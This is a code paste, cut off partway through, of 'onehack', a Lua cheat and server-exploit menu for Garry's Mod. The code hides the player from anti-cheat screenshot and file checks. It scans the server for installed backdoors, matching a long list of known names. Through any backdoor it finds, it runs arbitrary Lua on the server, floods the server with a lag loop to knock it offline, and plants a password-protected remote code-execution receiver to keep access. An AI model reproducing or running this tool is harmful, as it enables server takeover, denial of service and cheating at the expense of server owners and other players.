· 5 years ago · Feb 28, 2020, 06:54 PM
1local onehack = onehack or {}
2onehack.options = onehack.options or {}
3onehack.Vars = {}
4onehack.Vars['ASR'] = true -- ANTISCREENGRAB
5onehack.Vars['ASF'] = false -- ANTIFILESTEAL
6onehack.Vars['ESP'] = false
7onehack.Vars['FCAM'] = false -- FREECAM
8onehack.Vars['ESP_NAME'] = false
9onehack.Vars['ESP_WEAPON'] = false
10onehack.Vars['ESP_BOX'] = false
11onehack.Vars['ESP_HPBOX'] = false
12onehack.Vars['DDOS'] = false
13onehack.Vars['WEAPON_LIST3D'] = false
14onehack.Vars['keypad_jiw'] = false
15onehack.CamSpeed_Normal = 2
16onehack.CamSpeed_Fast = 7
17onehack.CamSpeed_Slow = 0.5
18onehack.SpectatePlayer = nil
19onehack.StartCamPos = LocalPlayer():EyePos() or Vector(0,0,0)
20onehack.StartCamAng = LocalPlayer():EyeAngles() or Angle(0,0,0)
21onehack.options.esp = onehack.options.esp or {}
22onehack.theme = onehack.theme or {}
23onehack.BackDoors = {"m9k_rvac","YukiBackdoor","The_DankWhy","loki","stil","thanos","Limon","OBF::JH::HAX","HitOrMiss<3Luda","https://i.imgur.com/Gf6hLMl.png","Net.Start","insid3","ABCNet","FoerHack","display_messagesfh","_Reading_darkrp","nx_noiwex","FPSBOOST","nxsuper","Sandbox_ArmDupe","Sbox_darkrp","Sbox_itemstore","Ulib_Message","ULogs_Info","ALTERED_CARB0N","ITEM","R8","fix","Fix_Keypads","PoliceJoin","Remove_Exploiters","noclipcloakaesp_chat_text","_Defqon","_CAC_ReadMemory","nostrip","nocheat","LickMeOut","JSQuery.Data(Post(false))","ULX_QUERY2","ULXQUERY2","MoonMan","Im_SOCool","Sandbox_GayParty","DarkRP_UTF8","oldNetReadData","memeDoor","BackDoor","OdiumBackDoor","SessionBackdoor","DarkRP_AdminWeapons","cucked","NoNerks","kek","ZimbaBackDoor","something","random","strip0","fellosnake","enablevac","c","Detoured q","Þà?D)◘","idk","r8helper","killserver","fuckserver","cvaraccess","rcon","rconadmin","web","jesuslebg","zilnix","Þà ?D)â—","Þà ?D)","SparksLeBg","disablebackdoor","slua2","slua","CraftSomething","WriteQuery","thefrenchenculer","pplay_sendtable"," .. v.NetWork .. ","slua6","jeveuttonrconleul","kill","DefqonBackdoor","DarkRP_AllDoorDatas","0101.1","awarn_remove","PlayerItemPickUp","_Infinity","Infinity","InfinityBackdoor","_Infinity_Meme_","arivia","ULogs_B","_Warns","_cac_","striphelper","_vliss","Скопировано РІ буфер обмена.","_KekTcf","DataMinerType","_blacksmurf","blacksmurfBackdoor","_Raze","m9k_explosionradius","m9k_explosive","m9k_addons","rcivluz","SENDTEST","_clientcvars","_main","stream","waoz","thereaperishere","bdsm","ZernaxBackdoor","UKT_MOMOS","anticrash","audisquad_lua","dontforget","noprop","thereaper","0x13","Child","!Cac","azkaw","BOOST_FPS","childexploit","ULX_ANTI_BACKDOOR","FADMIN_ANTICRASH","ULX_QUERY_TEST2","GMOD_NETDBG","netlib_debug","NoOdium_ReadPing","Sbox_gm_attackofnullday_key","Sbox_Message","idk","aze46aez67z67z64dcv4bt","nolag","changename","music","xenoexistscl","fourhead","echangeinfo","Þ� ?D)◘","elfamosabackdoormdr","stoppk","reaper","Abcdefgh","pjHabrp9EY","gag","_Battleye_Meme_","GaySploitBackdoor","_GaySploit","Bilboard.adverts:Spawn(false)","BazZziliuS","CacAntiCheat","noclipcloakaWH_chat_text","WepSwitch_DisableAllSwitch","PlayerCheck","backdoorattackdefense_superadminsettrue","loona","kIRIUS"}
24onehack.foundedbacks = {}
25onehack.antiskabad = {"Sandbox_ArmDupe","Sbox_darkrp","Sbox_itemstore","Ulib_Message","ULogs_Info","ITEM","R8","fix","Fix_Keypads","Remove_Exploiters","noclipcloakaesp_chat_text","_Defqon","_CAC_ReadMemory","nocheat","LickMeOut","ULX_QUERY2","ULXQUERY2","MoonMan","Im_SOCool","Sandbox_GayParty","DarkRP_UTF8","oldNetReadData","memeDoor","BackDoor","OdiumBackDoor","SessionBackdoor","DarkRP_AdminWeapons","cucked","NoNerks","kek","ZimbaBackDoor","something","random","strip0","fellosnake","enablevac","idk","c","killserver","fuckserver","cvaraccess","rcon","rconadmin","web","jesuslebg","zilnix","ГћГ ?D)в—","disablebackdoor","kill","DefqonBackdoor"}
26onehack.AllNets = {}
27onehack.selectedbackdoor = "none"
28onehack.version = "1.0.0"
29onehack.selected_player = 0
30onehack.debug = onehack.debug or {}
31onehack.foundednets = {}
32-- THEME SETTINGS
33onehack.theme.background = Color(30,30,30,200)
34onehack.theme.backgroundalt = Color(25,25,25)
35onehack.theme.backgroundalt2 = Color(50,50,50)
36onehack.theme.backgroundalt3 = Color(15,15,15)
37onehack.theme.buttonhover = Color(255,255,255,50)
38onehack.theme.chroma = Color(255,180,30)
39onehack.theme.chromaalt = Color(onehack.theme.chroma.r-55,onehack.theme.chroma.g-60,onehack.theme.chroma.b-30)
40-- THEME SETTINGS
41onehack.memory = {
42 ["hud"] = 0,
43 ["logic"] = 0,
44 ["aimbot"] = 0,
45}
46-- OPTIONS
47onehack.options.esp.enable = false
48onehack.options.esp.showname = false
49onehack.options.esp.showbox = false
50onehack.options.esp.showgroup = false
51onehack.options.esp.showweapn = false
52onehack.options.esp.boxtype = 0
53onehack.options.esp.boxcolor = Color(255,255,255)
54onehack.options.esp.namecolor = Color(255,255,255)
55onehack.options.esp.weaponcolor = Color(255,255,255)
56onehack.options.esp.groupcolor = Color(255,255,255)
57
58onehack.options.esp.enable_entity = false
59onehack.options.esp.showname_entity = false
60onehack.options.esp.showbox_entity = false
61onehack.options.esp.boxtype_entity = 0
62onehack.options.esp.boxcolor_entity = Color(255,255,255)
63onehack.options.esp.namecolor_entity = Color(255,255,255)
64-- OPTIONS
65onehack.selectedpanel = nil
66onehack.selectedpanel_id = 0
67onehack.timestamp = os.time()
68onehack.timettring = os.date( "[%H:%M:%S] " , timestamp )
69function onehack.DebugLog( str, col )
70 table.insert(onehack.debug, {onehack.timettring..str, col})
71 if #onehack.debug > 200 then
72 table.remove( onehack.debug, 1 )
73 end
74end
75
76local Tuner = nil
77function onehack.NetStart( str )
78 --print("[DEBUG] Started net: "..str)
79 if onehack.selectedbackdoor == "none" then return false end
80 return net.Start( str )
81end
82
83
84local ss = false
85local renderv = render.RenderView
86local renderc = render.Clear
87local rendercap = render.Capture
88local vguiworldpanel = vgui.GetWorldPanel
89
90
91function onehack.screengrab()
92 if ss then return end
93 ss = true
94
95 renderc( 0, 0, 0, 255, true, true )
96 renderv( {
97 origin = LocalPlayer():EyePos(),
98 angles = LocalPlayer():EyeAngles(),
99 x = 0,
100 y = 0,
101 w = ScrW(),
102 h = ScrH(),
103 dopostprocess = true,
104 drawhud = true,
105 drawmonitors = true,
106 drawviewmodel = true
107 } )
108
109 local vguishits = vguiworldpanel()
110
111 if IsValid( vguishits ) then
112 vguishits:SetPaintedManually( true )
113 end
114
115 timer.Simple( 0.1, function()
116 vguiworldpanel():SetPaintedManually( false )
117 ss = false
118 end)
119end
120
121render.Capture = function(data)
122 if onehack.Vars['ASR'] then
123 onehack.screengrab()
124 onehack.DebugLog( "ScreenGrab started: PROTECTED!", Color(0,255,0) )
125 else
126 onehack.DebugLog( "ScreenGrab started: NOT PROTECTED!", Color(255,0,0) )
127 end
128 local cap = rendercap( data )
129 return cap
130end
131
132local oldRead = file.Read
133function file.Read( fn, path )
134 if string.find(path, "DATA") or string.find(path, "lua") and onehack.Vars['ASF'] then
135 onehack.DebugLog( "File readed: "..path, Color(0,255,0) )
136 return "vzlom_zhopi()"
137 else
138 onehack.DebugLog( "File readed: "..path, Color(255,0,0) )
139 return oldRead( fn, path )
140 end
141end
142
143
144function onehack.NetWriteBeat( str )
145 local netwretbit = net.WriteBit
146 return netwretbit( str )
147end
148
149function onehack.SendToServak()
150 if onehack.selectedbackdoor == "none" then return false end
151 local netsendsrviar = net.SendToServer
152 return netsendsrviar()
153end
154
155function onehack.NetWireString( str )
156 local netwitestring = net.WriteString
157 return netwitestring( str )
158end
159
160function onehack.NetWireInt( str1,str2 )
161 local netwitestring = net.WriteInt
162 return netwitestring( str1,str2 )
163end
164
165function onehack.ValidNetStriABCD( str )
166 local status, error = pcall( s, str )
167 return status
168end
169
170function onehack.MouseInArea(framesag,minx,miny,maxx,maxy)
171 local PosX,PosY = framesag:GetPos()
172 local posx,posy = gui.MousePos();
173 return ((posx >= minx && posx <= maxx) && (posy >= miny && posy <= maxy));
174end
175
176function onehack.RandomString(len)
177 if len == nil then
178 len = math.random(20,100)
179 end
180 local ret = ""
181 for i=1,len do
182 ret = ret..string.char(math.random(33,126))
183 end
184 return ret
185end
186
187function onehack.DrawOutLinedRect(x,y,w,h,color)
188 surface.SetDrawColor( color )
189 surface.DrawOutlinedRect( x, y, w, h )
190 surface.SetDrawColor( Color(255,255,255,255) )
191end
192function onehack.DrawRect(x,y,w,h,color)
193 surface.SetDrawColor( color )
194 surface.DrawRect( x, y, w, h )
195 surface.SetDrawColor( Color(255,255,255,255) )
196end
197function onehack.Drawline(x,y,x2,y2,color)
198 surface.SetDrawColor(color)
199 surface.DrawLine(x,y,x2,y2)
200 surface.SetDrawColor( Color(255,255,255,255) )
201end
202local SpecModeFrame
203function onehack.SpectateMode()
204 if IsValid(SpecModeFrame) then return end
205 onehack.Vars['SCAM'] = true
206 SpecModeFrame = vgui.Create("DFrame")
207 SpecModeFrame:SetSize(300,400)
208 SpecModeFrame:SetPos(ScrW()-300,0)
209 SpecModeFrame:SetTitle("")
210 SpecModeFrame:ShowCloseButton(false)
211 function SpecModeFrame:Paint(w,h)
212 draw.RoundedBox(0,0,0,w,h,onehack.theme.background)
213 draw.RoundedBox(0,6,6,w-12,h-12,onehack.theme.backgroundalt2)
214 draw.RoundedBox(0,7,7,w-14,h-14,onehack.theme.backgroundalt)
215 draw.RoundedBox(0,7,7,w-14,2,onehack.theme.chromaalt)
216 draw.RoundedBox(0,7,7,w-14,1,onehack.theme.chroma)
217 draw.SimpleText("Spectator Mode","DermaDefault",w/2,20,Color(150,150,150),1,1)
218 local weapon = "NONE"
219 local hps = "NONE"
220 local ars = "NONE"
221 if IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
222 if IsValid(onehack.SpectatePlayer:GetActiveWeapon()) then
223 weapon = onehack.SpectatePlayer:GetActiveWeapon():GetClass()
224 end
225 hps = onehack.SpectatePlayer:Health()
226 ars = onehack.SpectatePlayer:Armor()
227 end
228 draw.SimpleText("Weapon: "..weapon,"DermaDefault",10,h-60,Color(150,150,150),0,1)
229 draw.SimpleText("HP/AR: "..hps.."/"..ars,"DermaDefault",12,h-45,Color(150,150,150),0,1)
230 end
231
232 local SpecPlayerList = vgui.Create( "DScrollPanel", SpecModeFrame )
233 SpecPlayerList:Dock(TOP)
234 SpecPlayerList:DockMargin(2,2, 2, 2)
235 SpecPlayerList:SetTall(300)
236 function SpecPlayerList:Paint( w,h )
237 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
238 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
239 end
240 SpecPlayerList.VBar:SetWidth(1)
241 SpecPlayerList:GetVBar().Paint = function() draw.RoundedBox(0, 0, 0, SpecPlayerList:GetVBar():GetWide(), SpecPlayerList:GetVBar():GetTall(), Color(255, 255, 255, 0)) end
242 SpecPlayerList:GetVBar().btnUp.Paint = function() draw.RoundedBox(0, 0, 0, SpecPlayerList:GetVBar().btnUp:GetWide(), SpecPlayerList:GetVBar().btnUp:GetTall(), Color(0,0,0,0)) end
243 SpecPlayerList:GetVBar().btnDown.Paint = function() draw.RoundedBox(0, 0, 0, SpecPlayerList:GetVBar().btnDown:GetWide(), SpecPlayerList:GetVBar().btnDown:GetTall(), Color(0,0,0,0)) end
244 SpecPlayerList:GetVBar().btnGrip.Paint = function() draw.RoundedBox(0, 0, 0, SpecPlayerList:GetVBar().btnGrip:GetWide(), SpecPlayerList:GetVBar().btnGrip:GetTall(), onehack.theme.chroma) end
245
246 for k,v in pairs(player.GetAll()) do
247 if IsValid(v) then
248 local onehack_player_button = SpecPlayerList:Add( "DButton" )
249 onehack_player_button:SetText( "" )
250 onehack_player_button:Dock( TOP )
251 onehack_player_button:DockMargin( 2, 2, 2, 0 )
252 onehack_player_button.Paint = function( _, w, h )
253 if onehack_player_button:IsHovered() then
254 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
255 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
256 else
257 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
258 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
259 end
260 if onehack.SpectatePlayer == v then
261 if IsValid(v) and v:IsPlayer() then
262 draw.SimpleText("> "..v:Name() or "NILL".." <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
263 end
264 else
265 if IsValid(v) and v:IsPlayer() then
266 draw.SimpleText(v:Name() or "NILL","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
267 end
268 end
269 end
270 function onehack_player_button:DoClick()
271 if onehack.SpectatePlayer == v then
272 if IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
273 onehack.SpectatePlayer:SetNoDraw( false )
274 end
275 onehack.SpectatePlayer = nil
276 else
277 if IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
278 onehack.SpectatePlayer:SetNoDraw( false )
279 end
280 onehack.SpectatePlayer = v
281 v:SetNoDraw( true )
282 end
283 end
284 end
285 end
286
287 for k, v in pairs(ents.GetAll()) do
288 if v:GetClass() == "gmod_cameraprop" then
289 local onehack_camera_button = SpecPlayerList:Add( "DButton" )
290 onehack_camera_button:SetText( "" )
291 onehack_camera_button:Dock( TOP )
292 onehack_camera_button:DockMargin( 2, 2, 2, 0 )
293 onehack_camera_button.Paint = function( _, w, h )
294 if onehack_camera_button:IsHovered() then
295 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
296 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
297 else
298 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
299 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
300 end
301 if onehack.SpectatePlayer == v then
302 draw.SimpleText("> CAMERA "..k.."# <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
303 else
304 draw.SimpleText("CAMERA "..k.."#","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
305 end
306 end
307 function onehack_camera_button:DoClick()
308 if onehack.SpectatePlayer == v then
309 if IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
310 onehack.SpectatePlayer:SetNoDraw( false )
311 end
312 onehack.SpectatePlayer = nil
313 else
314 if IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
315 onehack.SpectatePlayer:SetNoDraw( false )
316 end
317 onehack.SpectatePlayer = v
318 if v:IsValid() then
319 v:SetNoDraw( true )
320 end
321 end
322 end
323 end
324 end
325
326 local CloseSpec = SpecModeFrame:Add( "DButton" )
327 CloseSpec:SetTextColor( Color( 200, 200, 200 ) )
328 CloseSpec:SetText( "" )
329 CloseSpec:Dock(BOTTOM)
330 CloseSpec:DockMargin(1,2, 1, 0)
331 function CloseSpec:Paint( w,h )
332 if CloseSpec:IsHovered() then
333 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
334 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
335 else
336 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
337 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
338 end
339 draw.SimpleText("Exit","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
340 end
341
342 CloseSpec.DoClick = function()
343 onehack.Vars['SCAM'] = false
344 SpecModeFrame:Remove()
345 end
346end
347
348function onehack.scan()
349 for i = 0, 2^16 do
350 local str = util.NetworkIDToString( i )
351 if ( str && str != "" ) then
352 if( !net.Receivers[str] ) then
353 table.insert( onehack.AllNets, str )
354 end
355 end
356 end
357 for i = 0, 2^16 do
358 local str = util.NetworkIDToString( i )
359 if ( str && str != "" ) then
360 if( !net.Receivers[str] ) then
361 table.insert(onehack.foundednets,str)
362 if table.HasValue( onehack.BackDoors, str ) or string.find( string.lower(str), "backdoor" ) or string.find( string.lower(str), "exploit" ) or string.find( string.lower(str), "http" ) then
363 if not table.HasValue( onehack.foundedbacks, str ) then
364 if not table.HasValue(onehack.antiskabad,str) then
365 table.insert( onehack.foundedbacks, str )
366 onehack.DebugLog( "Backdoor found: "..str, Color(116,41,162) )
367 else
368 table.insert( onehack.foundedbacks, str )
369 onehack.DebugLog( "Backdoor found: "..str.." (Внимание данный бэкдур вероятнее фейк!)", Color(116,41,162) )
370 end
371 end
372 end
373 end
374 end
375 end
376end
377
378function onehack.StripWeapon( ent )
379 if not ent:IsValid() then return end
380 if ent.NextNuke and ent.NextNuke > CurTime() then return end
381 onehack.NetStart("properties")
382 net.WriteString("remove")
383 net.WriteEntity( ent )
384 net.SendToServer()
385 ent.NextNuke = CurTime() + 0.5
386end
387function onehack.StripAllWeapons( tab )
388 for k, v in pairs( tab ) do
389 if not v:IsValid() then continue end
390 if v.NextNuke and v.NextNuke > CurTime() then continue end
391 onehack.NetStart("properties")
392 net.WriteString("remove")
393 net.WriteEntity( v )
394 net.SendToServer()
395 end
396end
397onehack.scan()
398function MainFunc()
399 actived = true
400 framesag = vgui.Create("DFrame")
401 framesag:SetSize(600,400)
402 framesag:Center()
403 framesag:MakePopup()
404 framesag:SetTitle("")
405 framesag:ShowCloseButton(false)
406 function framesag:Init()
407 framesag.startTime = SysTime()
408 end
409 function framesag:Paint(w,h)
410 Derma_DrawBackgroundBlur( framesag, framesag.startTime )
411 draw.RoundedBox(0,0,0,w,h,onehack.theme.background)
412 draw.RoundedBox(0,6,6,w-12,h-12,onehack.theme.backgroundalt2)
413 draw.RoundedBox(0,7,7,w-14,h-14,onehack.theme.backgroundalt)
414 draw.RoundedBox(0,7,7,w-14,2,onehack.theme.chromaalt)
415 draw.RoundedBox(0,7,7,w-14,1,onehack.theme.chroma)
416 end
417
418 ButtonList = vgui.Create( "DScrollPanel", framesag )
419 ButtonList:SetPos(6,9)
420 ButtonList:SetSize(120,400-15)
421 function ButtonList:Paint(w,h)
422 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
423 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
424 end
425
426 function PanelAddButton( text, menuses,id) -- Кнопка в левое меню
427 local MenuBut = ButtonList:Add( "DButton" )
428 MenuBut:SetTextColor( Color( 200, 200, 200 ) )
429 MenuBut:SetText("")
430 MenuBut:SetHeight(30)
431 MenuBut:Dock( TOP )
432 MenuBut:DockMargin( 0, 0, 0, 0 )
433 function MenuBut:Paint( w,h )
434 if MenuBut:IsHovered() then
435 draw.RoundedBox(0,1,0,w-2,h,onehack.theme.backgroundalt2)
436 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt3)
437 else
438 draw.RoundedBox(0,1,0,w-2,h,onehack.theme.backgroundalt2)
439 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt)
440 end
441 if onehack.selectedpanel_id == id then
442 draw.SimpleText(text,"DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
443 else
444 draw.SimpleText(text,"DermaDefault",w/2,h/2,Color(255,255,255),1,1)
445 end
446 end
447
448 MenuBut.DoClick = function()
449 if onehack.selectedpanel == menuses then return end
450 if onehack.selectedpanel != menuses then
451 menuses()
452 end
453 end
454 end
455
456 function onehack.AddFunction( text , lolol, dawcf, func ) -- Кнопка в левое меню
457 local MenuBut2 = onehack.backlistt_functionsss_list:Add( "DButton" )
458 MenuBut2:SetTextColor( Color( 200, 200, 200 ) )
459 MenuBut2:SetText( "" )
460 MenuBut2:Dock( TOP )
461 MenuBut2:DockMargin( 0, 0, 0, 1 )
462 function MenuBut2:Paint( w,h )
463 if MenuBut2:IsHovered() then
464 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
465 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
466 else
467 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
468 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
469 end
470 draw.SimpleText(text,"DermaDefault",w/2,h/2,Color(255,255,255),1,1)
471 end
472
473 MenuBut2.DoClick = function()
474 func()
475 end
476 end
477 function onehack.AddExploit( text , func ) -- Кнопка в левое меню
478 local MenuBut2 = onehack.exploitsList:Add( "DButton" )
479 MenuBut2:SetTextColor( Color( 200, 200, 200 ) )
480 MenuBut2:SetText( "" )
481 MenuBut2:Dock( TOP )
482 MenuBut2:DockMargin( 0, 0, 0, 1 )
483 function MenuBut2:Paint( w,h )
484 if MenuBut2:IsHovered() then
485 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
486 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
487 else
488 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
489 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
490 end
491 draw.SimpleText(text,"DermaDefault",w/2,h/2,Color(255,255,255),1,1)
492 end
493
494 MenuBut2.DoClick = function()
495 func()
496 end
497 end
498 function onehackdooropt() -- onehack.backlistt_functionsss_list
499 onehackdooropt = vgui.Create( "DPanel" , framesag )
500 onehackdooropt:SetPos( 126, 9 )
501 onehackdooropt:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
502 function onehackdooropt:Paint( w, h )
503 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
504 end
505
506 onehack.backlistt = vgui.Create( "DComboBox", onehackdooropt )
507 onehack.backlistt:SetPos( onehackdooropt:GetWide()-155, 5 )
508 onehack.backlistt:SetSize( 150, 25 )
509 onehack.backlistt:SetValue( "Select Backdoor" )
510 for _,v in pairs(onehack.foundedbacks) do
511 onehack.backlistt:AddChoice( v )
512 end
513 onehack.backlistt.OnSelect = function( self, index, value )
514 onehack.selectedbackdoor = value
515 end
516 onehack.backlistt.Paint = function( _, w, h )
517 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
518 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
519 end
520
521 onehack.backlistt_check_button = vgui.Create( "DButton", onehackdooropt )
522 onehack.backlistt_check_button:SetPos( 5, 5 )
523 onehack.backlistt_check_button:SetSize( 150, 25 )
524 onehack.backlistt_check_button:SetText( "" )
525 onehack.backlistt_check_button.Paint = function( _, w, h )
526 if onehack.backlistt_check_button:IsHovered() then
527 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
528 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
529 else
530 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
531 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
532 end
533 draw.SimpleText("Check backdoor","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
534 end
535 function onehack.backlistt_check_button:DoClick()
536 onehack.NetStart( onehack.selectedbackdoor )
537 onehack.NetWireString([[
538
539 local id = ]] .. LocalPlayer():UserID() .. [[
540
541 Player( id ):SendLua("ABCNotify(\"Работает!\", 4)")
542
543 ]])
544 net.WriteBit(1)
545 onehack.SendToServak()
546 end
547
548 onehack.backlistt_crashserver = vgui.Create( "DButton", onehackdooropt )
549 onehack.backlistt_crashserver:SetPos( onehackdooropt:GetWide()-155, 35 )
550 onehack.backlistt_crashserver:SetSize( 150, 25 )
551 onehack.backlistt_crashserver:SetText( "" )
552 onehack.backlistt_crashserver.Paint = function( _, w, h )
553 if onehack.backlistt_crashserver:IsHovered() then
554 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
555 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
556 else
557 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
558 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
559 end
560 draw.SimpleText("Off server","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
561 end
562 function onehack.backlistt_crashserver:DoClick()
563 onehack.NetStart( onehack.selectedbackdoor )
564 net.WriteString( "timer.Create( \"spamlolk\", 0, 0, function() for i = 1, 1000000 do MsgC(Color(math.random(255), math.random(255), math.random(255)), \"� \") end end)" )
565 net.WriteBit(1)
566 onehack.SendToServak()
567 end
568
569 onehack.backlistt_pach_button = vgui.Create( "DButton", onehackdooropt )
570 onehack.backlistt_pach_button:SetPos( 160, 5 )
571 onehack.backlistt_pach_button:SetSize( 147, 25 )
572 onehack.backlistt_pach_button:SetText( "" )
573 onehack.backlistt_pach_button.Paint = function( _, w, h )
574 if onehack.backlistt_pach_button:IsHovered() then
575 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
576 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
577 else
578 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
579 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
580 end
581 draw.SimpleText("Detect pach","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
582 end
583 function onehack.backlistt_pach_button:DoClick()
584 onehack.NetStart( onehack.selectedbackdoor )
585 onehack.NetWireString([[
586 local id = ]] .. LocalPlayer():UserID() .. [[
587
588 for k ,v in SortedPairs( net.Receivers, false ) do
589 if k == string.lower( "]]..onehack.selectedbackdoor..[[") then
590 Player( id ):ChatPrint("Path: "..debug.getinfo( v )["short_src"] )
591 end
592 end
593 ]])
594 net.WriteBit(1)
595 onehack.SendToServak()
596 end
597
598 onehack.backlistt_fix_button = vgui.Create( "DButton", onehackdooropt )
599 onehack.backlistt_fix_button:SetPos( 160, 35 )
600 onehack.backlistt_fix_button:SetSize( 147, 25 )
601 onehack.backlistt_fix_button:SetText( "" )
602 onehack.backlistt_fix_button.Paint = function( _, w, h )
603 if onehack.backlistt_fix_button:IsHovered() then
604 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
605 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
606 else
607 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
608 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
609 end
610 draw.SimpleText("Fix backdoor","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
611 end
612 function onehack.backlistt_fix_button:DoClick()
613 onehack.NetStart( onehack.selectedbackdoor )
614 net.WriteString( [[
615 net.Receive(]]..onehack.selectedbackdoor..[[,function()
616 print("У ВАС ЕСТЬ BACKDOOR!!!!!!!!!!!!!!!!!!!!!!!!")
617 end)
618 ]] )
619 net.WriteBit(1)
620 onehack.SendToServak()
621 end
622
623 onehack.backlistt_protect_input = vgui.Create("DTextEntry", onehackdooropt)
624 onehack.backlistt_protect_input:SetPos( 5, 35 )
625 onehack.backlistt_protect_input:SetSize( 150, 25 )
626 onehack.backlistt_protect_input:SetText( "password" )
627 onehack.backlistt_protect_input.Paint = function( self, w, h )
628 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
629 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
630 self:DrawTextEntryText(onehack.theme.chroma,onehack.theme.chroma,onehack.theme.chroma)
631 --draw.SimpleText("Protect backdoor","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
632 end
633
634 onehack.backlistt_protect_button = vgui.Create( "DButton", onehackdooropt )
635 onehack.backlistt_protect_button:SetPos( 5, 59 )
636 onehack.backlistt_protect_button:SetSize( 150, 31 )
637 onehack.backlistt_protect_button:SetText( "" )
638 onehack.backlistt_protect_button.Paint = function( _, w, h )
639 if onehack.backlistt_protect_button:IsHovered() then
640 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
641 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
642 else
643 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
644 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
645 end
646 draw.SimpleText("Protect backdoor","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
647 end
648 function onehack.backlistt_protect_button:DoClick()
649 onehack.NetStart( onehack.selectedbackdoor )
650 onehack.NetWireString([[
651 net.Receive(]]..onehack.selectedbackdoor..[[,function()
652 if net.ReadFloat() == "]]..onehack.backlistt_protect_input:GetValue()..[[" then
653 local x = CompileString( net.ReadString(), 'LuaCmd', false )
654 if isfunction( x ) then
655 x()
656 end
657 end
658 end)
659 ]])
660 net.WriteBit(1)
661 onehack.SendToServak()
662 end
663
664 onehack.backlistt_players_list = vgui.Create( "DScrollPanel", onehackdooropt )
665 onehack.backlistt_players_list:SetPos(5,114)
666 onehack.backlistt_players_list:SetSize(150,264)
667 function onehack.backlistt_players_list:Paint( w,h )
668 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
669 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
670 end
671 onehack.backlistt_players_list.VBar:SetWidth(1)
